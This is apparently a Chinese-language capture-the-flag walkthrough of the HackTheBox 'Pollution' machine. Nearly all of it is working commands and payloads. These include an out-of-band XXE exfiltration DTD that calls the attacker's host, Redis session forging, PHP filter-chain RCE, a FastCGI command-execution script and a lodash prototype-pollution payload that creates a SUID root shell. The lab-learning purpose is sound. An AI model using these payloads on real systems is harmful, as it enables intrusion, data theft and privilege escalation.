端口扫描 ┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ sudo nmap --min-rate=10000 -p- 10.10.11.192 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 10:34 CST Nmap scan report for 10.10.11.192 Host is up (0.070s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6379/tcp open redis Nmap done : 1 IP address (1 host up) scanned in 8.22 seconds
┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ sudo nmap -sT -sC -sV -O -p22,80,6379 10.10.11.192 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 10:35 CST Nmap scan report for 10.10.11.192 Host is up (0.070s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 db:1d:5c:65:72:9b:c6:43:30:a5:2b:a0:f0:1a:d5:fc (RSA) | 256 4f:79:56:c5:bf:20:f9:f1:4b:92:38:ed:ce:fa:ac:78 (ECDSA) |_ 256 df :47:55:4f:4a:d1:78:a8:9d:cd :f8:a0:2f:c0:fc :a9 (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-title: Home |_http-server-header: Apache/2.4.54 (Debian) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set 6379/tcp open redis Redis key-value store Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 23.26 seconds
XXE 测试一下大概有三个功能点,注册登录,以及一个contact表单。但是都没有结果。在左侧找到域名collect.htb
扫描子域名
┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://collect.htb/' -H "HOST:FUZZ.collect.htb" -fs 26197 /'___\ /' ___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://collect.htb/ :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.collect.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 26197 ________________________________________________ forum [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 111ms] developers [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 69ms]
发现两个子域,其中developers需要凭证登录,添加hosts,访问forum.collect.htb
是一个MyBB论坛,浏览一下,有几位用户的提问,其中提到了pollutionAPI,和房间名一样,并且在victor用户发的帖子中有一个文本附件
下载需要注册账号。看了一下像是几条httpRequest请求的记录
其中对于collect.htb/set/role/admin路由的请求值得注意,看上去像是设置用户为admin的接口,base64解码之后是
POST /set/role/admin HTTP/1.1 Host : collect.htbUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding : gzip, deflateConnection : closeCookie : PHPSESSID=r8qne20hig1k3li6prgk91t33jUpgrade-Insecure-Requests : 1Content-Type : application/x-www-form-urlencodedContent-Length : 38token = ddac62a28254561001277727cb397baf
得到了token,那么在这个页面也注册一个账号,然后授予这个账号管理员权限
┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ curl -X POST "http://collect.htb/set/role/admin" -b "PHPSESSID=30rsbg6vtfp6p82426sdttoqrn" -d "token=ddac62a28254561001277727cb397baf" -v Note: Unnecessary use of -X or --request, POST is already inferred. * Host collect.htb:80 was resolved. * IPv6: (none) * IPv4: 10.10.11.192 * Trying 10.10.11.192:80... * Connected to collect.htb (10.10.11.192) port 80 > POST /set/role/admin HTTP/1.1 > Host: collect.htb > User-Agent: curl/8.9.1 > Accept: */* > Cookie: PHPSESSID=30rsbg6vtfp6p82426sdttoqrn > Content-Length: 38 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 38 bytes < HTTP/1.1 302 Found < Date: Fri, 27 Sep 2024 03:18:27 GMT < Server: Apache/2.4.54 (Debian) < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Location: /admin < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection
发现重定向到了/admin,下面有一个注册表单,抓一个包
POST /api HTTP/1.1 Host: collect.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-type: application/x-www-form-urlencoded Content-Length: 173 Origin: http://collect.htb Connection: keep-alive Referer: http://collect.htb/admin Cookie: PHPSESSID=30rsbg6vtfp6p82426sdttoqrn manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>admin</username><password>admin</password></user></root>
是XML格式调整一下缩进:
manage_api= <?xml version="1.0" encoding="UTF-8" ?> <root > <method > POST</method > <uri > /auth/register</uri > <user > <username > admin</username > <password > admin</password > </user > </root >
测试一下XXE,但是发现是没有回显的
manage_api= <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><root > <method > POST</method > <uri > /auth/register</uri > <user > <username > &xxe; </username > <password > admin</password > </user > </root >
那么尝试外带:
manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://10.10.14.29:8000/"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>
发现是成功收到请求:
┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.192 - - [27/Sep/2024 11:52:09] "GET / HTTP/1.1" 200 -
为了外带,得使用dtd,本地创建一个xxe.dtd,但是/etc/passwd读不到,换/etc/hostname可以读,但是也需要利用php伪协议,应该是所能读取的文件大小有限??
本地创建dtd:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname"> <!ENTITY % payload "<!ENTITY % run SYSTEM 'http://10.10.14.29:8000/?leak=%file;'>"> %payload; %run;
然后发包
manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://10.10.14.29:8000/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>
接收到了信息
┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ python -m http.server 10.10.11.192 - - [27/Sep/2024 13:03:18] "GET /?leak=cG9sbHV0aW9uCg== HTTP/1.1" 200 -
┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ echo "cG9sbHV0aW9uCg==" |base64 -d pollution
现在能过够实现任意(部分)文件读取,尝试读取developers的服务器配置文件/etc/apache2/sites-enabled/developers.collect.htb.conf
<VirtualHost *:80> <SNIP> ServerAdmin collect@localhost ServerName developers.collect.htb DocumentRoot /var/www/developers # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn <Directory "/var/www/developers"> AuthType Basic AuthName "Restricted Content" AuthUserFile /var/www/developers/.htpasswd Require valid-user </Directory> <SNIP> </VirtualHost> # vim: syntax=apache ts=4 sw=4 sts=4 sr noet
告诉了认证文件:/var/www/developers/.htpasswd,读取得到:
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Warning: detected hash type "md5crypt" , but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status r0cket (developers_group) 1g 0:00:00:00 DONE (2024-09-27 13:15) 1.282g/s 274707p/s 274707c/s 274707C/s rararara..pookie96 Use the "--show" option to display all of the cracked passwords reliably Session completed.
登录进去之后又是重定向到一个登录界面,但是无论输入什么都没有回显
试了一下redis,但这对凭据也无效,尝试继续读取developers的login.php,但是很奇怪,读不了,但是能读index.php
<?php require './bootstrap.php'; if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) { die(header('Location: /login.php')); } if (!isset($_GET['page']) or empty($_GET['page'])) { die(header('Location: /?page=home')); } $view = 1; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script src="assets/js/tailwind.js"></script> <title>Developers Collect</title> </head> <body> <div class="flex flex-col h-screen justify-between"> <?php include("header.php"); ?> <main class="mb-auto mx-24"> <?php include($_GET['page'] . ".php"); ?> </main> <?php include("footer.php"); ?> </div> </body> </html>
似乎需要拥有一个auth的session,之后还需要一个page参数,然后可以包含这个参数,读取一下bootstrap.php
<?php ini_set ('session.save_handler' , 'redis' );ini_set ('session.save_path' , 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS' );session_start ();
看上去网站的session是存储在redis当中,并且现在得到了redis的auth
┌──(mikannse㉿kali)-[~/HTB/Pollution] └─$ redis-cli -h 10.10.11.192 -a 'COLLECTR3D1SPASS' Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 10.10.11.192:6379> key * (error) ERR unknown command `key`, with args beginning with: `*`, 10.10.11.192:6379> keys * (empty array) (0.71s) 10.10.11.192:6379> keys * 1) "PHPREDIS_SESSION:jo706g02gk5eilefkbc0t6emts" 10.10.11.192:6379> get PHPREDIS_SESSION:jo706g02gk5eilefkbc0t6emts "" (1.08s)
查询所有键,得到了一条结果,也就是现在在develop这个站的cookie,并且值是空的。那么只需要往里面填充值,就能通过上面php的验证了,将其设置为True,序列化中b表示布尔变量
10.10.11.192:6379> set PHPREDIS_SESSION:jo706g02gk5eilefkbc0t6emts "auth|b:1;" OK
刷新一遍页面之后,到了page参数,虽然使用伪协议能够读取php文件,但是内容都不是很有趣,并且测试了一下远程文件包含但是无效
但是通过伪协议中的filter,是能够实现写入文件来到达RCE的效果: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
可以利用这个自动化工具: https://github.com/synacktiv/php_filter_chain_generator
┌──(mikannse㉿kali)-[~/tools/web/php/php_filter_chain_generator] └─$ python php_filter_chain_generator.py --chain '<?=`$_GET[0]`;?>' [+] The following gadget chain will generate the following code : <?=`$_GET [0]`;?> (base64 value: PD89YCRfR0VUWzBdYDs/Pg)
然后就生成了一长串的filter链,然后在url中传入?0=whoami&page=payload,发现命令执行成功!做一个反弹shell
横向:PHP-FPM 在collect中找到config.php
<?php return [ "db" => [ "host" => "localhost" , "dbname" => "webapp" , "username" => "webapp_user" , "password" => "Str0ngP4ssw0rdB*12@1" , "charset" => "utf8" ], ];
在forum数据库中的user能找到用户的哈希,但是都无法解密
发现还开着3000和9000这两个
www-data@pollution:~/collect$ ss -tlnp ss -tlnp State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 511 127.0.0.1:3000 0.0.0.0:* LISTEN 0 511 127.0.0.1:9000 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 511 0.0.0.0:6379 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 511 [::1]:6379 [::]:* LISTEN 0 511 *:80 *:*
看一下进程里面有php-fpm
www-data@pollution:~/collect$ ps axu |grep fpm ps axu |grep fpm root 975 0.0 1.0 265400 40968 ? Ss Sep26 0:02 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
查看www.config
www-data@pollution:~/collect$ cat /etc/php/8.1/fpm/pool.d/www.conf |grep -v "^;" |tr -d "\n" <p/8.1/fpm/pool.d/www.conf |grep -v "^;" |tr -d "\n" [victor]user = victorgroup = victorlisten = 127.0.0.1:9000listen.owner = www-datalisten.group = www-datapm = dynamicpm.max_children = 5pm.start_servers = 2pm.min_spare_servers = 1pm.max_spare_servers = 3[www]user = www-datagroup = www-datalisten = /run/php/php8.1-fpm.socklisten.owner = www-datalisten.group = www-datapm = dynamicpm.max_children = 5pm.start_servers = 2pm.min_spare_servers = 1pm.max_spare_servers = 3
9000端口开的就是php-fpm,可以执行通过cgi执行任意php命令,详见: https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi?ref=hacktrickz.xyz
#!/bin/bash PAYLOAD="<?php system('$1 ');" FILENAMES="/var/www/developers/index.php" HOST=localhost B64=$(echo "$PAYLOAD " |base64 ) for FN in $FILENAMES ; do OUTPUT=$(mktemp ) env -i \ PHP_VALUE="allow_url_include=1" $'\n' "allow_url_fopen=1" $'\n' "auto_prepend_file='data://text/plain\;base64,$B64 '" \ SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \ cgi-fcgi -bind -connect $HOST :9000 &> $OUTPUT cat $OUTPUT done
上传执行:
www-data@pollution:/tmp$ ./fpm.sh whoami ./fpm.sh whoami Status: 302 Found Set-Cookie: PHPSESSID=bjhqf6cf8ij81e98m6hnte1389; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: /login.php Content-type : text/html; charset=UTF-8 victor
我们是victor身份,做一个反弹shell
提权 家目录还有一个pollution_api,是开在3000端口的nodejs服务。并且是root身份运行
victor@pollution:~$ ps axu |grep index.js root 1418 0.0 1.8 1680976 75832 ? Sl Sep26 0:00 /usr/bin/node /root/pollution_api/index.js
本想着复制私钥到本地ssh连接但是需要密码,那就加入自己的公钥直接进行ssh连接
分析一下index.js,是一个express框架
const express = require ('express' );const app = express ();const bodyParser = require ('body-parser' );app.use (bodyParser.json ()); app.get ('/' ,(req,res )=> { res.json ({Status : "Ok" , Message : 'Read documentation from api in /documentation' }); }) app.use ('/auth' ,require ('./routes/auth' )); app.use ('/client' ,require ('./routes/client' )); app.use ('/admin' ,require ('./routes/admin' )); app.use ('/documentation' ,require ('./routes/documentation' )); app.listen (3000 , '127.0.0.1' ); console .log ('Listen on http://localhost:3000' );
documentation.js中包含了所有接口
const express = require ('express' );const router = express.Router ();router.get ('/' ,(req,res )=> { res.json ({ Documentation : { Routes : { "/" : { Methods : "GET" , Params : null }, "/auth/register" : { Methods : "POST" , Params : { username : "user" , password : "pass" } }, "/auth/login" : { Methods : "POST" , Params : { username : "user" , password : "pass" } }, "/client" : { Methods : "GET" , Params : null }, "/admin/messages" : { Methods : "POST" , Params : { id : "messageid" } }, "/admin/messages/send" : { Methods : "POST" , Params : { text : "message text" } } } } }) })
一个个接口分析吧
auth.js
const express = require ('express' );const User = require ('../models/User' );const router = express.Router ();const { signtoken } = require ('../functions/jwt' )const { exec } = require ('child_process' );router.post ('/register' , async (req,res)=>{ if (req.body .username != null && req.body .password != null ){ try { const find = await User .findAll ({where : {username : req.body .username }}) if (find.length == 0 ){ User .create ({ username : req.body .username , password : req.body .password , role : "user" }); exec ('/home/victor/pollution_api/log.sh log_register' ); return res.json ({Status : "Ok" }); } return res.json ({Status : "This user already exists" }); }catch (err){ return res.json ({Status : "Error" }); } } return res.json ({Status : "Parameters not found" }); }) router.post ('/login' , async (req,res)=>{ if (req.body .username != null && req.body .password != null ){ try { const find = await User .findAll ({where : {username : req.body .username , password : req.body .password }}); if (find.length > 0 ){ exec ('/home/victor/pollution_api/log.sh log_login' ); const token = signtoken ({user : find[0 ].username , is_auth : true , role : find[0 ].role }); return res.json ({ Status : "Ok" , Header : { "x-access-token" : token } }); } return res.json ({Status : "Error" , Message : "Invalid Credentials" }); }catch (err){ return res.json ({Status : "Error" }); } } return res.json ({Status : "Parameters not found" }); }) module .exports = router;
一个用于注册用户,一个用于登录用户并且分发JWT,并且是从mysql的pollution_api数据库中查询,通过查询user表,得到里面一个test:test用户
client.js,用于验证JWTToekn
const express = require ('express' );const router = express.Router ();const User = require ('../models/User' );const { decodejwt } = require ('../functions/jwt' )router.use ('/' , async (req,res,next)=>{ if (req.headers ["x-access-token" ]){ const token = decodejwt (req.headers ["x-access-token" ]); if (token){ const find = await User .findAll ({where : {username : token.user , role : token.role }}); if (find.length > 0 ){ if (find[0 ].username == token.user && find[0 ].role == token.role ){ return next (); } return res.json ({Status : "Error" , Message : "You are not allowed" }); } return res.json ({Status : "Error" , Message : "You are not allowed" }); } return res.json ({Status : "Error" , Message : "You are not allowed" }); } return res.json ({Status : "Error" , Message : "You are not allowed" }); }) router.post ('/' ,(req,res )=> { res.json ({Status : "Ok" , Message : 'This route is under development' }); }) module .exports = router;
admin.js
const express = require ('express' );const router = express.Router ();const User = require ('../models/User' );const { decodejwt } = require ('../functions/jwt' )const { messages } = require ('../controllers/Messages' );const { messages_send } = require ('../controllers/Messages_send' );router.use ('/' , async (req,res,next)=>{ if (req.headers ["x-access-token" ]){ const token = decodejwt (req.headers ["x-access-token" ]); if (token){ const find = await User .findAll ({where : {username : token.user , role : token.role }}); if (find.length > 0 ){ if (find[0 ].username == token.user && find[0 ].role == token.role && token.role == "admin" ){ return next (); } return res.json ({Status : "Error" , Message : "You are not allowed" }); } return res.json ({Status : "Error" , Message : "You are not allowed" }); } return res.json ({Status : "Error" , Message : "You are not allowed" }); } return res.json ({Status : "Error" , Message : "You are not allowed" }); }) router.get ('/' ,(req,res )=> { res.json ({Status : "Ok" , Message : 'Read documentation from api in /documentation' }); }) router.post ('/messages' ,messages); router.post ('/messages/send' , messages_send); module .exports = router;
如果JWT验证成功并且用户的身份要是”admin”则发送请求到/messages/send和/messages,这两个是控制器中的函数
查看mesage_send.js,接收一个text参数
const Message = require ('../models/Message' );const { decodejwt } = require ('../functions/jwt' );const _ = require ('lodash' );const { exec } = require ('child_process' );const messages_send = async (req,res )=>{ const token = decodejwt (req.headers ['x-access-token' ]) if (req.body .text ){ const message = { user_sent : token.user , title : "Message for admins" , }; _.merge (message, req.body ); exec ('/home/victor/pollution_api/log.sh log_message' ); Message .create ({ text : JSON .stringify (message), user_sent : token.user }); return res.json ({Status : "Ok" }); } return res.json ({Status : "Error" , Message : "Parameter text not found" }); } module .exports = { messages_send };
这行非常感兴趣:_.merge(message, req.body);
是非常明显的原型链污染产生的函数,但是我们必须得先绕过一些限制来到达这里
使用test用户登录:
victor@pollution:~/pollution_api/routes$ curl -H "Content-type: application/json" -d '{"username":"test", "password":"test"}' localhost:3000/auth/login {"Status" :"Ok" ,"Header" :{"x-access-token" :"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzI3NDQ5NzE3LCJleHAiOjE3Mjc0NTMzMTd9.I_rAzm-CYryBzi6CiRW7D2c2jxVaCDJTGvQLUWmKFO4" }}
得到了JWT,放在cyberchef中解密,但是我们的role是”user”而非admin
{ "user" : "test" , "is_auth" : true , "role" : "user" , "iat" : 1727449717 , "exp" : 1727453317 }
那么要在mysql中先更新成”admin”
MariaDB [pollution_api]> select * from users; +----+----------+----------+------+---------------------+---------------------+ | id | username | password | role | createdAt | updatedAt | +----+----------+----------+------+---------------------+---------------------+ | 1 | test | test | user | 2024-09-27 03:41:00 | 2024-09-27 03:41:00 | +----+----------+----------+------+---------------------+---------------------+ 1 row in set (0.000 sec) MariaDB [pollution_api]> UPDATE users SET role = 'admin' WHERE id = 1; Query OK, 1 row affected (0.001 sec) Rows matched: 1 Changed: 1 Warnings: 0
现在我们有了正确的JWT
victor@pollution:~/pollution_api/routes$ curl -H "Content-type: application/json" -d '{"username":"test", "password":"test"}' localhost:3000/auth/login {"Status" :"Ok" ,"Header" :{"x-access-token" :"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyNzQ1MDc0NSwiZXhwIjoxNzI3NDU0MzQ1fQ.5Zsq-WOTlaSGnpGWiBvx0U7F980fiIOYG4JJ1k4Cr5M" }}
那么可以进行原型链的利用了,merge函数的漏洞源于lodash库,在package.json中能找到lodash的版本:”lodash”: “^4.17.0”,是小于4.17.11 ,所以存在漏洞。那么能够通过object原型的”shell”属性来实现命令执行
于是最终payload:
victor@pollution:~/pollution_api/routes$ echo 'cp /bin/bash /tmp/root_bash;chmod +xs /tmp/root_bash' >/tmp/root.sh victor@pollution:~/pollution_api/routes$ chmod +X /tmp/root.sh
victor@pollution:~/pollution_api/routes$ curl -X POST -H "Content-type: application/json" -H "x-access-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyNzQ1MDc0NSwiZXhwIjoxNzI3NDU0MzQ1fQ.5Zsq-WOTlaSGnpGWiBvx0U7F980fiIOYG4JJ1k4Cr5M" localhost:3000/admin/messages/send -d '{"text":"text","__proto__":{"shell":"/tmp/root.sh"}}'
victor@pollution:~/pollution_api/routes$ /tmp/root_bash -p root_bash-5.1 root
碎碎念 难度挺大的房间,并且对于漏洞的利用相互交错,通过XXE外带响应结合php伪协议来实现任意文件读取,然后学习到了php使用filter来写入文件来实现RCE。提权对nodejs进行源码审计其实路径还是比较清晰的,先找到危险函数然后倒推,原型链污染在CTF中考察得是越来越多了